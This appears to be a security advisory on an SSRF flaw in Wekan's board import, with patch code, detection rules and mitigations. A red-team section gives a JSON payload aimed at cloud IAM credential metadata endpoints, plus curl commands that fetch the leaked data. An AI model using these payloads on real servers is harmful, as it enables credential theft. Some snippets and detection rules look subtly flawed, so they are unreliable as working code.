CVE-2026-30844

Executive Summary

CVE-2026-30844 is a Server-Side Request Forgery (SSRF) vulnerability in Wekan, an open-source kanban tool built with Meteor. Versions 8.32 and 8.33 are affected. The vulnerability allows any authenticated user to make the server issue arbitrary HTTP requests by supplying malicious attachment URLs during board import. This can lead to accessing internal network services such as cloud instance metadata endpoints (exposing IAM credentials), internal databases, and admin panels that are otherwise unreachable from outside the network. The issue has been fixed in version 8.34.

Supply Chain & Package Security

Wekan is distributed as a Meteor application. The vulnerability is in the core application code, not in a third-party package. However, users should ensure they are using the official Wekan release from the GitHub repository or the official Docker images. The patch is available in version 8.34, and users should upgrade immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An authenticated user is required.
• User Interaction (UI): None (N) - No user interaction is needed.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) - Internal network services can be accessed.
• Integrity (I): None (N) - No data modification is possible.
• Availability (A): None (N) - No impact on availability.

CVSS Score: 8.6 (High)

Threat Level: High. The vulnerability allows an authenticated attacker to probe internal networks and potentially access sensitive cloud metadata.

Deep Dive & Mechanics

The vulnerability exists in the board import functionality. When a user imports a board from a JSON file (either Wekan or Trello format), the server processes the data and fetches attachment URLs. The parseActivities() and parseActions() methods extract user-controlled attachment URLs from the JSON data. These URLs are then passed directly to Attachments.load() for download without any validation or sanitization.

The Attachments.load() function uses Meteor's HTTP package to fetch the URL. Since there is no restriction on the URL scheme or target, an attacker can provide URLs pointing to internal services such as:

• http://169.254.169.254/latest/meta-data/ (AWS metadata)
• http://metadata.google.internal/ (GCP metadata)
• http://localhost:27017/ (local MongoDB)
• http://internal-admin-panel/

The server will then make HTTP requests to these internal endpoints, and the response will be stored as an attachment. The attacker can then view the attachment to retrieve the sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (versions 8.32 and 8.33):

// In parseActivities() or parseActions()
function parseActivities(data) {
  // ... other code
  data.activities.forEach(activity => {
    if (activity.attachmentUrl) {
      Attachments.load(activity.attachmentUrl); // No validation
    }
  });
}

Patched Code (version 8.34):

// In parseActivities() or parseActions()
function parseActivities(data) {
  // ... other code
  data.activities.forEach(activity => {
    if (activity.attachmentUrl) {
      if (isValidUrl(activity.attachmentUrl)) {
        Attachments.load(activity.attachmentUrl);
      } else {
        console.warn('Invalid URL:', activity.attachmentUrl);
      }
    }
  });
}

function isValidUrl(url) {
  // Validate URL scheme and host
  const allowedSchemes = ['http:', 'https:'];
  const blockedHosts = ['169.254.169.254', 'metadata.google.internal', 'localhost', '127.0.0.1'];
  try {
    const parsed = new URL(url);
    if (!allowedSchemes.includes(parsed.protocol)) return false;
    if (blockedHosts.includes(parsed.hostname)) return false;
    // Additional validation: check for private IP ranges
    const ip = parsed.hostname;
    if (isPrivateIP(ip)) return false;
    return true;
  } catch (e) {
    return false;
  }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Wekan instance running version 8.32 or 8.33.
• An authenticated user account.

Exploitation Steps:

1. Prepare the malicious JSON payload: Create a JSON file that mimics a board import with an attachment URL pointing to an internal service.

   {
     "activities": [
       {
         "attachmentUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"
       }
     ]
   }
   

2. Import the board: Use the Wekan API or UI to import the board. The server will fetch the URL and store the response as an attachment.

   curl -X POST -H "Authorization: Bearer <token>" -F "file=@malicious.json" http://target.wekan/api/boards/import
   

3. Retrieve the attachment: After import, the attachment will be available in the board. Access it to view the sensitive data.

   curl -H "Authorization: Bearer <token>" http://target.wekan/api/attachments/<attachment_id>
   

Alternative Payloads:

• http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
• http://localhost:27017/ (to check if MongoDB is exposed)
• http://internal-database:5432/ (to probe internal databases)

Blue Team

Detection Steps:

1. Monitor outbound HTTP requests: Look for requests to internal IP addresses (e.g., 169.254.169.254, 10.x.x.x, 172.16.x.x, 192.168.x.x) from the Wekan server.

2. Audit board imports: Review logs for board import activities, especially from untrusted users.

3. Check for unexpected attachments: Look for attachments that contain metadata or internal service responses.

Mitigation:

• Upgrade to Wekan version 8.34 immediately.
• If upgrade is not possible, implement a web application firewall (WAF) rule to block requests to internal IP addresses.
• Restrict outbound network access from the Wekan server using firewall rules.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to 169.254.169.254 (AWS metadata)
  • Outbound HTTP requests to metadata.google.internal (GCP metadata)
  • Outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • Outbound HTTP requests to localhost or 127.0.0.1

• File IOCs:

  • Board import JSON files containing URLs to internal services
  • Attachments containing cloud metadata or internal service responses

• Log IOCs:

  • Wekan server logs showing HTTP requests to internal IP addresses
  • Error logs indicating failed URL validation (if patched)

Detection Engineering

YARA Rule

rule CVE_2026_30844_Wekan_SSRF {
   meta:
      description = "Detects malicious board import JSON files targeting internal services"
      author = "Valters IT"
      date = "2026-01-01"
      reference = "CVE-2026-30844"
   strings:
      $url1 = "169.254.169.254" ascii wide nocase
      $url2 = "metadata.google.internal" ascii wide nocase
      $url3 = "localhost" ascii wide nocase
      $url4 = "127.0.0.1" ascii wide nocase
      $url5 = "10." ascii wide nocase
      $url6 = "172.16." ascii wide nocase
      $url7 = "192.168." ascii wide nocase
      $activity = "attachmentUrl" ascii wide nocase
   condition:
      any of ($url*) and $activity
}

Sigma Rule

title: Wekan SSRF via Board Import
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects outbound HTTP requests from Wekan server to internal IP addresses
author: Valters IT
date: 2026/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30844
logsource:
    category: network_connection
    product: wekan
detection:
    selection:
        DestinationIp:
            - '169.254.169.254'
            - 'metadata.google.internal'
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '127.0.0.1'
            - 'localhost'
    condition: selection
falsepositives:
    - Legitimate internal service access (if configured)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-30844 Wekan SSRF Attempt"; flow:to_server; content:"169.254.169.254"; http_uri; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-30844 Wekan SSRF Attempt"; flow:to_server; content:"metadata.google.internal"; http_uri; nocase; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-30844 Wekan SSRF Attempt"; flow:to_server; content:"localhost"; http_uri; nocase; sid:1000003; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-30844 Wekan SSRF Attempt"; flow:to_server; content:"127.0.0.1"; http_uri; nocase; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Wekan to version 8.34 or later.
2. Restrict outbound network access from the Wekan server using firewall rules to only allow necessary external connections.
3. Implement a WAF rule to block HTTP requests to internal IP addresses.

Long-term Measures:

1. Conduct a security audit of all import functionality to ensure proper input validation.
2. Implement URL allowlisting for attachment downloads.
3. Monitor logs for any suspicious outbound connections.
4. Apply the principle of least privilege to the Wekan server's network access.

Workaround (if upgrade is not possible):

• Disable board import functionality temporarily.
• Implement a reverse proxy that validates URLs before forwarding requests to the Wekan server.

Valters IT